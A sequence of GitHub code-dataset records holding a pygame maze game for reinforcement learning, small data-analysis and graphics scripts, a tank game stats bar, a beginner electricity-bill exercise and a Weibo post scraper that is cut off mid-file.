obstacle.y_end),3)\r\n\t\t\r\n\t\tfor vis in self.logic.player.vision:\r\n\t\t\tvis_ctr = (vis.x_start, vis.y_start)\r\n\t\t\tvis_end = (vis.x_end, vis.y_end)\r\n\t\t\tpg.draw.line(window, self.logic.VISION_COLOR, vis_ctr, vis_end)\r\n\t\t\r\n\t\t\r\n\t\t# shows logic gates for respective stage.\r\n\t\t\"\"\"\r\n\t\tfor gate in self.logic.gates:\r\n\t\t\tgate_start = (gate.x_start, gate.y_start)\r\n\t\t\tgate_end = (gate.x_end, gate.y_end)\r\n\t\t\tif gate.is_active:\r\n\t\t\t\tpg.draw.line(window, self.logic.REWARD_GATE_COLOR,gate_start, gate_end)\r\n\t\t\"\"\"\r\n\t\tpg.display.update()\r\n\t\t# change this param based on how fast your computer's processing speed is. Game updates as fast as comp can handle.\r\n\t\t# training takes a long time, you'll thank me for just deciding to set to zero :)\r\n\t\tpg.time.delay(0) \r\n\t\t\r\n\r\n\r\n\tdef isOver(self):\r\n\t\t\"\"\"\r\n\t\tSelf explainitory. Is the game over? Yes? Good. No? Also good.\r\n\t\t\"\"\"\r\n\t\tif self.logic.has_lost() or self.logic.has_won(): \r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\tdef step(self, action):\r\n\t\t\"\"\"\r\n\t\tHandles a \"step\" -> given an action, change all internal logic to reflect change.\r\n\t\t\"\"\"\r\n\t\tpre_dist = self.logic.get_dist_to_goal()\r\n\t\tself.logic.update_player(action)\r\n\t\tpost_dist = self.logic.get_dist_to_goal()\r\n\t\tself.logic.player_intersects()\r\n\t\tself.logic.vision_intersects()\r\n\t\tself.logic.hit_reward()\r\n\r\n\t\t#reward = self.calculate_reward() # <- reward gate solution just straight up doesnt work.\r\n\t\treward = self.dist_reward(pre_dist, post_dist)\r\n\r\n\r\n\t\treturn self.logic.get_game_state(), reward, self.isOver(), self.logic.has_won()\r\n\r\n\t\t\t\r\n\r\n\tdef dist_reward(self, pre_dist, post_dist):\r\n\t\t\"\"\"\r\n\t\tcalculates reward based on how much closer agent is, or if they have won/lost or passed a gate.\r\n\t\t\"\"\"\r\n\r\n\t\tif self.logic.has_lost():\r\n\t\t\tprint(\"---Player Lost---\")\r\n\t\t\treturn - 100.0\r\n\t\telif self.logic.has_won():\r\n\t\t\tprint('---Player Won---')\r\n\t\t\treturn 1000\r\n\t\tif self.logic.hitting_gate:\r\n\t\t\tself.logic.hitting_gate = False\r\n\t\t\tprint('---Gate Passed---')\r\n\t\t\treturn 100\r\n\r\n\t\treturn (pre_dist - post_dist)/self.player_vel # attempt 2 at reward function lol\r\n\r\n\r\n\tdef reset(self):\r\n\t\t\"\"\"\r\n\t\tcreate a new game instance\r\n\t\t\"\"\"\r\n\t\tself.__init__(self.player_vel,self.screen_size, self.stage_num)\r\n\t\tself.make()\r\n\t\t# must return game state as well\r\n\t\treturn self.logic.get_game_state()\r\n\t\r\n\tdef calculate_reward(self):\r\n\t\t\"\"\"\r\n\t\treward system based on how long player is taking to reach goal\r\n\t\t\"\"\"\r\n\t\tif self.logic.has_lost():\r\n\t\t\tprint('---Loss---')\r\n\t\t\treturn -100.0\r\n\t\t\t\r\n\t\telif self.logic.has_won():\r\n\t\t\tprint('---Game Won---')\r\n\t\t\treturn 1000\r\n\r\n\t\telif self.logic.hitting_gate:\r\n\t\t\tself.logic.hitting_gate = False\r\n\t\t\tprint('---Gate Reached---')\r\n\t\t\treturn 100\r\n\r\n\t\treturn -1\r\n\r\n\r\n\r\n\r\n# --------GAME LOGIC ------\r\n\r\nclass GameLogic: \r\n\t\r\n\r\n\tdef __init__(self, player_vel, player_loc, screen, stage):\r\n\t\tself.hitting_gate = False\r\n\t\tself.stage_num = stage\r\n\t\tself.is_over = False\r\n\t\tself.begin = False\r\n\t\tself.SCREEN_X = screen[0]\r\n\t\tself.SCREEN_Y = screen[1]\r\n\t\tself.PLAYER_VEL = player_vel\r\n\t\t\r\n\t\tself.BACKGROUND_COLOR = (74,78,77) \r\n\t\tself.PLAYER_COLOR = (136,216,176) # \r\n\t\tself.PLAYER_OUTLINE_COLOR = (150,206,180)\r\n\t\tself.GOAL_COLOR = (255,204,92)\r\n\t\tself.OBSTACLE_COLOR = (255,111,105)\r\n\t\tself.VISION_COLOR = (150,206,180)\r\n\t\tself.REWARD_GATE_COLOR = (0, 255, 0)\r\n\r\n\t\tself.PLAYER_SIZE = 20\r\n\t\tself.GOAL_SIZE = 70\r\n\r\n\t\tself.player = Player(player_loc[0], player_loc[1], self.PLAYER_SIZE, self.PLAYER_COLOR)\r\n\t\tself.set_stage(self.stage_num)\r\n\t\tself.vision_intersects()\r\n\t\tself.action_size = 4\r\n\t\t\r\n\r\n\tdef set_stage(self, stage_num):\r\n\t\t\r\n\t\t\"\"\"\r\n\t\tBuilds stages for game\r\n\t\t\"\"\"\r\n\t\tif stage_num == 0:\r\n\t\t\tself.obstacles = [Obstacle(100,0 ,100, 500, self.OBSTACLE_COLOR),\r\n\t\t\t\t\t\t Obstacle(320,0,320, 500, self.OBSTACLE_COLOR)]\r\n\t\t\tself.gates = [RewardGate(0, 425,500, 425, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(0, 350,500, 350, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(0, 275,500, 275, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(0, 200,500, 200, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(0, 125,500, 125, self.REWARD_GATE_COLOR)]\r\n\t\t\t\r\n\t\t\tself.goal = Goal(250, 15, self.GOAL_SIZE, self.GOAL_COLOR)\r\n\r\n\t\t\t\r\n\t\t\t\r\n\t\t\r\n\t\tif stage_num == 1:\r\n\t\t\tself.obstacles = [Obstacle(200, 500 ,200, 300, self.OBSTACLE_COLOR),\r\n\t\t\t\t\t\t\t Obstacle(200, 300 ,375, 300 , self.OBSTACLE_COLOR),\r\n\t\t\t\t\t\t\t Obstacle(375,300 ,375, 0, self.OBSTACLE_COLOR),\r\n\t\t\t\t\t\t\t Obstacle(300, 500 ,300, 400, self.OBSTACLE_COLOR),\r\n\t\t\t\t\t\t\t Obstacle(300,400 ,500, 400, self.OBSTACLE_COLOR)]\r\n\t\t\t\r\n\t\t\tself.gates = [RewardGate(200, 425,300, 425, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(200,300, 300, 400, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(350,300, 350, 400, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(375,300, 500, 400, self.REWARD_GATE_COLOR),\r\n\t\t\t\t\t\t RewardGate(375,250, 500, 250, self.REWARD_GATE_COLOR)]\r\n\r\n\t\t\tself.goal = Goal(400, 100, self.GOAL_SIZE, self.GOAL_COLOR)\r\n\t\t\r\n\r\n\tdef update_player(self, action):\r\n\t\t\"\"\"\r\n\t\tupdates player position based on input\r\n\t\t\"\"\"\r\n\t\tif action == 0:\r\n\t\t\tself.player.change_pos(0, -self.PLAYER_VEL)\r\n\t\tif action == 1:\r\n\t\t\tself.player.change_pos(self.PLAYER_VEL,0)\r\n\t\tif action == 2:\r\n\t\t\tself.player.change_pos(0, self.PLAYER_VEL)\r\n\t\tif action == 3:\r\n\t\t\tself.player.change_pos(-self.PLAYER_VEL, 0)\r\n\t\r\n\r\n\r\n\t\t\r\n\r\n\tdef get_game_state(self):\r\n\t\t\"\"\"\r\n\t\treturns the current position of player and distance from wall(s)\r\n\t\t\"\"\"\r\n\t\tstate = []\r\n\t\tstate.append(self.player.x)\r\n\t\tstate.append(self.player.y)\r\n\t\tfor vis in self.player.vision:\r\n\t\t\tdistance = np.sqrt((vis.x_start - vis.x_end)**2 + (vis.y_start - vis.y_end)**2)\r\n\t\t\tstate.append(distance)\r\n\r\n\r\n\t\tself.state_size = len(state)\r\n\t\treturn state\r\n\r\n\r\n\tdef player_intersects(self):\r\n\t\t\"\"\"\r\n\t\tChecks if a player is intersecting a wall\r\n\t\t\"\"\"\r\n\t\t\r\n\t\tplayer_lines = [] \r\n\t\tplayer_top_left = (self.player.x, self.player.y)\r\n\t\tplayer_top_right = (self.player.x_right, self.player.y)\r\n\t\tplayer_bot_left = (self.player.x, self.player.y_bot)\r\n\t\tplayer_bot_right = (self.player.x_right, self.player.y_bot)\r\n\r\n\t\t\r\n\t\tplayer_lines.append((player_top_left, player_bot_left))\r\n\t\tplayer_lines.append((player_bot_right, player_top_right))\r\n\t\tplayer_lines.append((player_bot_left, player_bot_right))\r\n\t\tplayer_lines.append((player_top_left, player_top_right))\r\n\t\t\r\n\r\n\t\tfor obstacle in self.obstacles:\r\n\t\t\t\r\n\t\t\to_line = ((obstacle.x_start, obstacle.y_start), (obstacle.x_end, obstacle.y_end))\r\n\t\t\tfor p_line in player_lines:\r\n\t\t\t\tintersects = points_intersect(p_line, o_line)\r\n\t\t\t\tif intersects[0] != -1:\r\n\t\t\t\t\t# print('---Player Lost---')\r\n\t\t\t\t\treturn True\r\n\t\t\r\n\t\treturn False\r\n\r\n\t\r\n\r\n\tdef hit_reward(self):\r\n\t\t\"\"\"\r\n\t\tchecks if player is hitting a reward gate\r\n\t\t\"\"\"\r\n\r\n\t\tplayer_lines = [] \r\n\t\tplayer_top_left = (self.player.x, self.player.y)\r\n\t\tplayer_top_right = (self.player.x_right, self.player.y)\r\n\t\tplayer_bot_left = (self.player.x, self.player.y_bot)\r\n\t\tplayer_bot_right = (self.player.x_right, self.player.y_bot)\r\n\t\t\r\n\t\tplayer_lines.append((player_top_left, player_bot_left))\r\n\t\tplayer_lines.append((player_bot_right, player_top_right))\r\n\t\tplayer_lines.append((player_bot_left, player_bot_right))\r\n\t\tplayer_lines.append((player_top_left, player_top_right))\r\n\r\n\t\tfor gate in self.gates:\r\n\t\t\tif gate.is_active:\r\n\t\t\t\tg_line = ((gate.x_start, gate.y_start), (gate.x_end, gate.y_end))\r\n\t\t\t\tfor p_line in player_lines:\r\n\t\t\t\t\tintersects = points_intersect(p_line, g_line)\r\n\t\t\t\t\tif intersects[0] != -1:\r\n\t\t\t\t\t\tself.hitting_gate = True\r\n\t\t\t\t\t\tgate.is_active = False\r\n\t\t\t\t\t\t\r\n\tdef vision_intersects(self):\r\n\t\t\"\"\"\r\n\t\tset the start and end locations of vision objects\r\n\t\t\"\"\"\r\n\r\n\t\tfor vis in self.player.vision:\r\n\t\t\tvis_start = (vis.x_start, vis.y_start)\r\n\t\t\tvis_end = (vis.x_end, vis.y_end)\r\n\t\t\t\r\n\t\t\tintersects = []\r\n\t\t\tdistances = []\r\n\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\tfor obstacle in self.obstacles:\r\n\t\t\t\t\r\n\t\t\t\to_line = ((obstacle.x_start, obstacle.y_start), (obstacle.x_end, obstacle.y_end))\r\n\t\t\t\tintersects_at = points_intersect((vis_start, vis_end),o_line)\r\n\t\t\t\tintersects.append(intersects_at)\r\n\t\t\t\t\r\n\t\t\t\tdistance = np.sqrt((vis.x_start - intersects_at[0])**2 + (vis.y_start - intersects_at[1])**2)\r\n\t\t\t\t\r\n\t\t\t\tif intersects_at[0] > 0:\r\n\t\t\t\t\tdistances.append(distance)\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\tdistances.append(200) # larger than any possible line\r\n\r\n\t\t\t# make sure vision intersect is at the closest object.\r\n\t\t\tlowest_intersect_idx = distances.index(min(distances))\r\n\t\t\tlowest_distance = distances[lowest_intersect_idx]\r\n\t\t\t\r\n\r\n\t\t\tif intersects[lowest_intersect_idx][0] > 0: # if it does intersect somewhere\r\n\t\t\t\tif lowest_distance <= 100:\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\tvis.x_end = intersects[lowest_intersect_idx][0]\r\n\t\t\t\t\tvis.y_end = intersects[lowest_intersect_idx][1]\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\r\n\r\n\r\n\r\n\r\n\tdef has_lost(self):\r\n\t\t\"\"\"\r\n\t\tChecks a win\r\n\t\t\"\"\"\r\n\r\n\t\tif self.player.x < 0 or (self.player.x + self.PLAYER_SIZE) > self.SCREEN_X or self.player.y < 0 or self.player.y + self.PLAYER_SIZE > self.SCREEN_Y:\r\n\t\t\t\r\n\t\t\treturn True\r\n\r\n\t\tif self.player_intersects():\r\n\t\t\t\r\n\t\t\treturn True \r\n\t\t\r\n\r\n\t\treturn False\r\n\r\n\r\n\tdef has_won(self):\r\n\t\t\"\"\"\r\n\t\tchecks a loss...\r\n\t\t\"\"\"\r\n\t\t# ...\r\n\t\tif self.player.x > self.goal.x and (self.player.x + self.PLAYER_SIZE) < (self.goal.x + self.goal.size) and self.player.y > self.goal.y and (self.player.y + self.player.size) < (self.goal.y + self.goal.size):\r\n\t\t\t# print('WIN')\r\n\t\t\treturn True\r\n\t\telse:\r\n\t\t\treturn False\r\n\r\n\r\n\tdef play_sound_effect(win):\r\n\t\t# decided to not have a huge file with sound effects and whatnot\r\n\t\tpass\r\n\r\n\r\n\tdef get_dist_to_goal(self):\r\n\t\t# euclidean\r\n\t\tp_ctr_x = self.player.x + (self.PLAYER_SIZE/2)\r\n\t\tp_ctr_y = self.player.y + (self.PLAYER_SIZE/2)\r\n\t\tg_ctr_x = self.goal.x + (self.GOAL_SIZE/2)\r\n\t\tg_ctr_y = self.goal.y + (self.GOAL_SIZE/2)\r\n\r\n\t\treturn np.sqrt((p_ctr_x - g_ctr_x)**2 + (p_ctr_y - g_ctr_y)**2)\r\n\r\n# --------- MODEL ----------\r\n\r\nclass Player:\r\n\r\n\tdef __init__(self, x_pos, y_pos, size, color):\r\n\t\t# keep in mind -> pygame draws rectangles from the top left corner, and circles from the center\r\n\r\n\t\t# our player is a square\r\n\t\tself.VISION_SIZE = 150\r\n\t\tself.x = x_pos # box's furthest left x coord\r\n\t\tself.y = y_pos # box's highest point\r\n\t\tself.size = size # our player is a square so just need 1 param.\r\n\t\tself.color = color\r\n\t\tself.reward = 0\r\n\t\tself.x_right = x_pos + size\r\n\t\tself.y_bot = y_pos + size \r\n\r\n\t\tself.center_x = self.x + self.size/2\r\n\t\tself.center_y = self.y + self.size/2\r\n\r\n\t\tself.vision = [PlayerVis(self.center_x, self.center_y, 100,0),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,45),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,90),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,135),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,180),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,225),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,270),\r\n\t\t\t\t\t PlayerVis(self.center_x, self.center_y, 100,315),\r\n\t\t\t\t\t ]\r\n\r\n\r\n\r\n\r\n\tdef change_pos(self, x, y):\r\n\t\tself.x = x + self.x\r\n\t\tself.x_right = x + self.x_right\r\n\t\tself.y = y + self.y\r\n\t\tself.y_bot = y + self.y_bot\r\n\t\tself.center_x = self.center_x + x\r\n\t\tself.center_y = self.center_y + y\r\n\t\tself.update_vision(self.center_x, self.center_y)\r\n\r\n\tdef update_vision(self, x_start, y_start):\r\n\t\tfor vis in self.vision:\r\n\t\t\tvis.update(x_start, y_start)\r\n\r\n\r\n\r\nclass Goal:\r\n\t# goal is a square\r\n\tdef __init__(self, x_pos, y_pos, size, color):\r\n\t\tself.x = x_pos\r\n\t\tself.y = y_pos\r\n\t\tself.size = size\r\n\t\tself.color = color\r\n\r\n\r\n\r\nclass Obstacle:\r\n\tdef __init__(self, x_start, y_start, x_end, y_end, color):\r\n\t\t# obstacles changed to lines for simplicity\r\n\t\tself.x_start = x_start\r\n\t\tself.y_start = y_start\r\n\t\tself.x_end = x_end\r\n\t\tself.y_end = y_end\r\n\r\n\t\t#self.width = width\r\n\t\t#self.height = height\r\n\t\tself.color = color\r\n\r\nclass RewardGate:\r\n\tdef __init__(self, x_start, y_start, x_end, y_end, color):\r\n\t\tself.x_start = x_start\r\n\t\tself.y_start = y_start\r\n\t\tself.x_end = x_end\r\n\t\tself.y_end = y_end\r\n\t\tself.is_active = True\r\n\r\n\t\tself.color = color\r\n\r\n\r\n\r\nclass PlayerVis:\r\n\t\r\n\tdef __init__(self, x_start,y_start, length,angle):\r\n\t\tself.angle = angle\r\n\t\tself.length = length\r\n\t\tself.x_start = x_start\r\n\t\tself.y_start = y_start\r\n\t\t# NOTE! math.cos and sin work in radians\r\n\t\tself.x_end = length * cos(radians(angle)) + x_start\r\n\t\tself.y_end = length * sin(radians(angle)) + y_start\r\n\t\tself.is_intersecting = False\r\n\r\n\tdef update(self, x_start, y_start):\r\n\t\tself.x_start = x_start\r\n\t\tself.y_start = y_start\r\n\t\tself.x_end = self.length * cos(radians(self.angle)) + x_start\r\n\t\tself.y_end = self.length * sin(radians(self.angle)) + y_start\r\n\r\n","repo_name":"cgarner1/Deep-Q-Maze-Game","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":16233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39259806715","text":"from parse import parse\r\nimport time\r\n\r\nwhile True:\r\n author_username = ''\r\n i = input('Проверьте список пользователей в файле \"users.txt\"\\nПродолжить?(y/n) >')\r\n if i.startswith('y') or i.startswith('Y'):\r\n with open('users.txt') as userlist:\r\n for user in userlist.readlines():\r\n print(parse(author_username, user))\r\n time.sleep(2)","repo_name":"SNI4/steamcheck","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40428095110","text":"import numpy as np\nimport os\nimport re\nimport dg2df\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef load_dgs(path_data = '/shared/lab/projects/analysis/ruobing/featureIOR/data/', recode_subj = False):\n dg_folders = os.listdir(path_data)\n list_dgs = []\n for dg_folder in dg_folders:\n cur_dir = os.path.join(path_data, dg_folder)\n if not os.path.isdir(cur_dir):\n continue\n print('loading {}'.format(dg_folder))\n name_subj, name_task_type = re.match('(.*)_(.*)', dg_folder).group(1, 2)\n dg_files = os.listdir(cur_dir)\n list_dgs_subj = [dg2df.dg2df(os.path.join(cur_dir, dg_file))\n for dg_file in dg_files if dg_file[-3:] == '.dg']\n df_subj = pd.concat(list_dgs_subj)\n df_subj['subject'] = name_subj\n df_subj['task_type'] = name_task_type\n list_dgs.append(df_subj)\n\n df_orig = pd.concat(list_dgs)\n df_orig.reset_index(inplace=True)\n if recode_subj:\n temp = df_orig.subject.unique()\n temp1 = dict(zip(temp, range(len(temp))))\n df_orig.subject = ['subj{:02d}'.format(temp1[sub_ini]) for sub_ini in df_orig.subject]\n return(df_orig)\n\n\ndef smooth_y(x, y, std=50, xx=np.arange(150, 1300, 10), limit=None, shuffle = False):\n if limit is not None:\n x = x[limit]\n if shuffle:\n np.random.shuffle(limit)\n y = y[limit]\n weight = np.exp(-(x[None, :] - xx[:, None]) ** 2 / (2 * std ** 2))\n yy = np.array([np.average(y, weights=weight[i, :]) for i in range(len(xx))])\n return yy\n\ndef process_saccade(df, mic_sac_amp, tt_sac_long = np.arange(-200, 2000, 10)):\n t_sac_hist, dir_sac_hist= [], []\n sampleon = list(df['SampleOnset'])[0]\n for j in range(len(df['sacamps'])):\n sactime = list(df['sactimes'])[j]\n sacamp = list(df['sacamps'])[j]\n stimon = list(df['stimon'])[j]\n resp_time = list(df['rts'] - sampleon)[j]\n tt_sac = np.arange(-sampleon, resp_time, 10)\n t_sac_hist_j = np.empty(len(tt_sac_long))\n t_sac_hist_j[:] = np.nan\n t_sac_hist_j[tt_sac_long < tt_sac[-1]] = 0\n if isinstance(sactime, float) and sactime != sactime:\n t_sac_hist.append(t_sac_hist_j)\n continue\n sactime = sactime - stimon - sampleon\n t_sac_j = np.array(sactime[(sacamp < mic_sac_amp) & (sactime > -sampleon) & (sactime < resp_time)])\n if t_sac_j.shape[0] != 0:\n for m in range(len(t_sac_j)):\n t_sac_hist_j[np.argmin(np.abs(tt_sac - t_sac_j[m]))] = 1\n t_sac_hist.append(t_sac_hist_j)\n return(t_sac_hist)\n\ndef plot_avg(setting=None, value=None, t=None, title=None, idx_grp=None, h_axes=None, tt=np.arange(150, 1300, 10)):\n\n if title == 'spatial nonmatch':\n ax = (0, 0)\n idx_grp_0 = (0, 0)\n idx_grp_1 = (1, 0)\n elif title == 'spatial match':\n ax = (0, 1)\n idx_grp_0 = (0, 1)\n idx_grp_1 = (1, 1)\n elif title == 'feature nonmatch':\n ax = (1, 0)\n idx_grp_0 = (0, 0)\n idx_grp_1 = (0, 1)\n elif title == 'feature match':\n ax = (1, 1)\n idx_grp_0 = (1, 0)\n idx_grp_1 = (1, 1)\n idx0 = idx_grp[idx_grp_0]\n idx1 = idx_grp[idx_grp_1]\n yy_0 = smooth_y(t, value, std=setting['std'], limit=idx0, shuffle=setting['shuffleYN'])\n yy_1 = smooth_y(t, value, std=setting['std'], limit=idx1, shuffle=setting['shuffleYN'])\n if setting['plot_individual']:\n plt.axes(h_axes[ax])\n plt.plot(tt, yy_0, '--', c='k', lw=2, label='feature nonmatch' if title[:7] == 'spatial' else 'spatial nonmatch')\n plt.plot(tt, yy_1, '-', c='k', lw=2, label='feature match' if title[:7] == 'spatial' else 'spatial match')\n if title[:7] == 'spatial':\n color_inhibit = 'blue'\n color_facilitate = 'orange'\n else:\n color_inhibit = 'green'\n color_facilitate = 'red'\n if setting['plotting'] == 'hit':\n plt.fill_between(tt, yy_0, yy_1, where=yy_0 > yy_1, facecolor=color_inhibit)\n plt.fill_between(tt, yy_0, yy_1, where=yy_0 < yy_1, facecolor=color_facilitate)\n elif setting['plotting'] == 'rt':\n plt.fill_between(tt, yy_0, yy_1, where=yy_0 > yy_1, facecolor=color_facilitate)\n plt.fill_between(tt, yy_0, yy_1, where=yy_0 < yy_1, facecolor=color_inhibit)\n plt.legend()\n plt.title(title)\n return yy_0, yy_1, yy_1-yy_0","repo_name":"rxia/PyNeuroSG","sub_path":"script/human_attention/utils_for_human_attention.py","file_name":"utils_for_human_attention.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"70023299740","text":"import numpy as np\nfrom scipy.spatial.transform import Rotation as R\nimport torch\nimport imageio\n\n#######################################################################################################\n# compute envmap from SG\n#######################################################################################################\ndef compute_envmap(lgtSGs, H, W, upper_hemi=False):\n # exactly same convetion as Mitsuba, check envmap_convention.png\n if upper_hemi:\n phi, theta = torch.meshgrid([torch.linspace(0., np.pi/2., H), torch.linspace(-0.5*np.pi, 1.5*np.pi, W)])\n else:\n phi, theta = torch.meshgrid([torch.linspace(0., np.pi, H), torch.linspace(-0.5*np.pi, 1.5*np.pi, W)])\n\n viewdirs = torch.stack([torch.cos(theta) * torch.sin(phi), torch.cos(phi), torch.sin(theta) * torch.sin(phi)],\n dim=-1) # [H, W, 3]\n print(viewdirs[0, 0, :], viewdirs[0, W//2, :], viewdirs[0, -1, :])\n print(viewdirs[H//2, 0, :], viewdirs[H//2, W//2, :], viewdirs[H//2, -1, :])\n print(viewdirs[-1, 0, :], viewdirs[-1, W//2, :], viewdirs[-1, -1, :])\n\n lgtSGs = lgtSGs.clone().detach()\n viewdirs = viewdirs.to(lgtSGs.device)\n viewdirs = viewdirs.unsqueeze(-2) # [..., 1, 3]\n # [M, 7] ---> [..., M, 7]\n dots_sh = list(viewdirs.shape[:-2])\n M = lgtSGs.shape[0]\n lgtSGs = lgtSGs.view([1,]*len(dots_sh)+[M, 7]).expand(dots_sh+[M, 7])\n # sanity\n # [..., M, 3]\n lgtSGLobes = lgtSGs[..., :3] / (torch.norm(lgtSGs[..., :3], dim=-1, keepdim=True))\n lgtSGLambdas = torch.abs(lgtSGs[..., 3:4])\n lgtSGMus = torch.abs(lgtSGs[..., -3:]) # positive values\n # [..., M, 3]\n rgb = lgtSGMus * torch.exp(lgtSGLambdas * (torch.sum(viewdirs * lgtSGLobes, dim=-1, keepdim=True) - 1.))\n rgb = torch.sum(rgb, dim=-2) # [..., 3]\n envmap = rgb.reshape((H, W, 3))\n return envmap\n\n\n\n\n\nr = R.from_euler('yxz', [90, 0, 0], degrees=True)\ntry:\n rotation = r.as_matrix()\nexcept:\n rotation = r.as_dcm()\n\nfpath = '/home/kz298/idr_sg/code/all_envmaps/envmap1_sg_fit/tmp_lgtSGs_100.npy'\nlgtSGs = np.load(fpath)\nlgtSGLobes = lgtSGs[:, :3] / (np.linalg.norm(lgtSGs[:, :3], axis=-1, keepdims=True) + 1e-8)\nlgtSGLambdas = np.abs(lgtSGs[:, 3:4])\nlgtSGMus = np.abs(lgtSGs[:, 4:])\n\nlgtSGLobes_rot = np.matmul(lgtSGLobes, rotation.T)\nlgtSGs_rot = np.concatenate((lgtSGLobes_rot, lgtSGLambdas, lgtSGMus), axis=-1).astype(np.float32)\nnp.save(fpath[:-4]+'_rot.npy', lgtSGs_rot)\n\n\nenvmap = compute_envmap(torch.from_numpy(lgtSGs_rot), H=256, W=512).numpy()\nim = np.power(envmap, 1./2.2)\nim = np.clip(im, 0., 1.)\nimageio.imwrite(fpath[:-4]+'_rot_envmap.png', np.uint8(im * 255.))\n","repo_name":"Kai-46/PhySG","sub_path":"code/envmaps/rotate_lightsg.py","file_name":"rotate_lightsg.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":194,"dataset":"github-code","pt":"69"} +{"seq_id":"13663065930","text":"from model import Drawable\nimport image\nimport pygame\n\n\nclass TankIcon(Drawable):\n\n SIZE_WIDTH = 13\n SIZE_HEIGHT = 15\n IMAGE = image.tank_icon_enemy\n\n def __init__(self, x, y):\n Drawable.__init__(self, pygame.Rect((x, y), (self.SIZE_WIDTH, self.SIZE_HEIGHT)), self.IMAGE)\n\n\nclass StatBar(Drawable):\n\n SIZE_WIDTH = 480 - 416\n SIZE_HEIGHT = 416\n BACKGROUND_COLOR = [100, 100, 100]\n\n def __init__(self, n_enemy=10):\n loc_x, loc_y = 416, 0\n surface = pygame.Surface((self.SIZE_WIDTH, self.SIZE_HEIGHT))\n surface.fill(self.BACKGROUND_COLOR)\n Drawable.__init__(self, pygame.Rect((416, 0), (self.SIZE_WIDTH, self.SIZE_HEIGHT)), surface)\n\n self.n_enemy = n_enemy\n self.n_enemy_killed = 0\n start_y = 50\n self.icons = []\n for i in range(n_enemy):\n x = loc_x + 16 if i % 2 == 0 else loc_x + 35\n y = start_y\n self.icons.append(TankIcon(x, y))\n if i % 2 == 1:\n start_y += 18\n\n def draw(self, screen):\n # Override draw method to draw children of the Drawable\n Drawable.draw(self, screen)\n for icon in self.icons:\n icon.draw(screen)\n\n def add_enemies_killed(self, n):\n if n == 0:\n return\n self.n_enemy_killed += n\n self.icons[-self.n_enemy_killed].destroy()\n\n def all_enemies_killed(self):\n return self.n_enemy == self.n_enemy_killed\n","repo_name":"khuevu/battlecity-online","sub_path":"client/model/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"21912394707","text":"gia1=550\ngia2=750\ngia3=950\ngia4=1350\ntieuthu=int(input(\"Tieu thu=\"))\nthue=float(input(\"thue=\"))\nif tieuthu<=100:\n tiendien1=tieuthu*gia1\n print(\"phai tra=\",tiendien1,sep=\"\")\nelif tieuthu<=150:\n tiendien2=100*gia1+(tieuthu-100)*gia2\n print(\"phai tra=\",tiendien2,sep=\"\")\nelif tieuthu<=200:\n tiendien3=100*gia1+50*gia2+(tieuthu-150)*gia3\n print(\"phai tra=\",tiendien3,sep=\"\")\nelse: print(\"phai tra=\",tiendien4=100*gia1+50*gia2+50*gia3+(tieuthu-200)*gia4,sep=\"\")\n\n \n \n ","repo_name":"tranhiepluc/react1","sub_path":"chuong3/btslide/cau33.py","file_name":"cau33.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34277049715","text":"import requests\nfrom urllib.parse import urlencode\nfrom pyquery import PyQuery as pq\nimport json\nimport csv\n\n\n#userid = \"1723516811\" #chenrui\nuserid = \"2093001685\" #9bish page(80,280)\nhost = 'm.weibo.cn'\nbase_url = 'https://%s/api/container/getIndex?' % host\nuser_agent = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 wechatdevtools/0.7.0 MicroMessenger/6.3.9 Language/zh_CN webview/0'\n\nheaders = {\n 'Host': host,\n 'Referer': 'https://m.weibo.cn/u/'+userid,\n 'User-Agent': user_agent\n}\n\ncsvfilename = userid+\".csv\"\n\n\ndef get_single_page(page):\n params = {\n 'type': 'uid',\n 'value': int(userid),\n 'containerid': int(\"107603\"+userid),\n 'page': page\n }\n url = base_url + urlencode(params)\n #print(url)\n\n try:\n response = requests.get(url, headers=headers)\n #response2 = requests.get(url, headers=comments)\n\n if response.status_code == 200:\n return response.json()\n except requests.ConnectionError as e:\n print('抓取错误', e.args)\n\n\n# 解析页面返回的json数据\ndef parse_page(json):\n items = json.get('data').get('cards')\n for item in items:\n item = item.get('mblog')\n if item:\n data = {\n 'id': item.get('id'),\n 'created_at': item.get('created_at'),\n 'text': pq(item.get(\"text\")).text() # 仅提取内容中的文本\n }\n yield data\n\n\nif 